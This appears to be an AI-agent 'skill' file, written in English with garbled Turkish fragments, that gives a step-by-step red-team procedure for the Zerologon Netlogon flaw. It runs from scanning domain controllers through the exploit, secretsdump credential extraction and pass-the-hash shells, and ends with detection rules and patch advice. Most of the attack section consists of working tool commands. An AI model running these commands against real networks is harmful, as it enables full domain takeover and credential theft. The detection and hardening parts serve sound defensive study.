Exploiting Zerologon Vulnerability Cve 2020 1472

---
name: exploiting-zerologon-vulnerability-cve-2020-1472
description: Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.
tags:
- zerologon
- netlogon
- ms-nrpc
- fetih
- privilege-escalation
- cybersecurity
- domain-controller
- red-teaming
- active-directory
- siber-güvenlik
- cve-2020-1472
triggers:
- '1472'
- '2020'
- adversary emulation
- alert
- authentication
- crypto
- encryption
- exploit
- exploiting
- hash
- http
- kırmızı takım
category: red-team-operations
source_subdomain: red-teaming
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
adapted_for: fetih
---

# Exploiting Zerologon Vulnerability Cve 2020 1472


## Genel Bakış

Zerologon (CVE-2020-1472) is a critical elevation of privilege vulnerability (CVSS 10.0) in the Microsoft Netlogon Remote Protocol (MS-NRPC). The flaw exists in the cryptographic implementation of AES-CFB8 mode, where the initialization vector (IV) is incorrectly set to all zeros. This allows an unauthenticated attacker with network Erişim: a domain controller to establish a Netlogon session and reset the DC machine account password to empty, achieving full domain compromise. Microsoft patched this vulnerability in August 2020 (KB4571694).


## Ne Zaman Kullanılır

- performing yaparken authorized security testing that involves exploiting zerologon vulnerability cve 2020 1472
- analyzing yaparken malware samples or attack artifacts in a controlled environment
- conducting yaparken red team exercises or penetration testing engagements
- building yaparken Tespit capabilities based on offensive technique understanding

## Ön Gereksinimler

- Network Erişim: a Domain Controller (TCP port 135 and dynamic RPC ports)
- No authentication required (unauthenticated exploit)
- Target DC must not have the February 2021 enforcement mode enabled
- Impacket toolkit installed
- Written authorization for red team engagement


> **Legal Notice:** bu skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## MITRE ATT&CK Mapping

| Technique ID | Name | Tactic |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | Privilege Escalation |
| T1210 | Exploitation of Remote Services | Lateral Movement |
| T1003.006 | OS Credential Dumping: DCSync | Credential Access |
| T1078.002 | Valid Accounts: Domain Accounts | Persistence |

## Vulnerability Technical Details

### Root Cause

The Netlogon authentication protocol uses AES-CFB8 encryption with a client challenge and server challenge. The vulnerability exists because:

1. The IV is hardcoded to **16 bytes of zeros**
2. When the plaintext is **8 bytes of zeros**, AES-CFB8 produces a ciphertext of **all zeros** with probability **1 in 256**
3. An attacker can send approximately 256 authentication attempts (takes ~3 seconds) to succeed

### Affected Systems

- Windows Server 2008 R2 through Windows Server 2019
- All domain controllers running unpatched Netlogon service
- Samba versions < 4.8 (if running as AD DC)

## Adım 1: Identify Vulnerable Domain Controllers

```bash
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

python3 zerologon_tester.py DC01 10.10.10.1

crackmapexec smb 10.10.10.1 -M zerologon
```

## Adım 2: Exploit Zerologon

```bash
python3 cve_2020_1472.py DC01$ 10.10.10.1

```

## Adım 3: DCSync with Empty Password

```bash
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1


secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator
```

## Adım 4: Obtain Domain Admin Access

```bash
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1
```

## Adım 5: Restore Machine Account Password (CRITICAL)

**WARNING**: After exploiting Zerologon, the DC machine account password is empty, which will break Active Directory replication and services. You MUST restore it.

```bash
python3 restorepassword.py corp.local/DC01@DC01 -target-ip 10.10.10.1 \
  -hexpass <original_hex_password>

netdom resetpwd /server:DC01 /userd:CORP\Administrator /passwordd:*

```

## Tespit

### Windows Event Logs

```
Event ID 4742: A computer account was changed
- Ara:: DC$ account with password change
- Anomaly: Multiple 4742 events for DC$ in short period

Event ID 5805: Netlogon authentication failure
- Multiple failures followed by success = Zerologon attempt

Event ID 4624 (Type 3): Network logon
- DC$ account logging in from unexpected IP
```

### Network Tespit

```yaml
alert dcerpc any any -> any any (
  msg:"ET EXPLOIT Possible Zerologon NetrServerReqChallenge";
  flow:established,to_server;
  dce_opnum:4;
  content:"|00 00 00 00 00 00 00 00|";
  sid:2030870;
  rev:1;
)
```

### Sigma Rule

```yaml
title: Zerologon Exploitation Attempt
status: stable
logsource:
    product: windows
    service: system
Tespit:
    selection:
        EventID: 5805
        LogonType: 3
    timeframe: 5m
    condition: selection | count(EventID) > 100
level: critical
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2020.1472
```

## Defensive Recommendations

1. **Apply patches immediately** - KB4571694 (August 2020) and enforce February 2021 mode
2. **Enable enforcement mode** via registry: `FullSecureChannelProtection = 1`
3. **Monitor Event ID 5805** for repeated Netlogon failures
4. **Dağıt: Microsoft Defender for Identity** (tespit etme (s) Zerologon automatically)
5. **Network segmentation** - Restrict direct Erişim: DCs from user networks
6. **Block Netlogon RPC** from non-DC systems where possible

## References

- CVE-2020-1472: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
- Secura Whitepaper: https://www.secura.com/blog/zero-logon
- CrowdStrike Advisory: https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/
- CISA Alert AA20-283A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a
- Microsoft Enforcement: https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73f3a1f24

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 5cc748facaf28be6
-->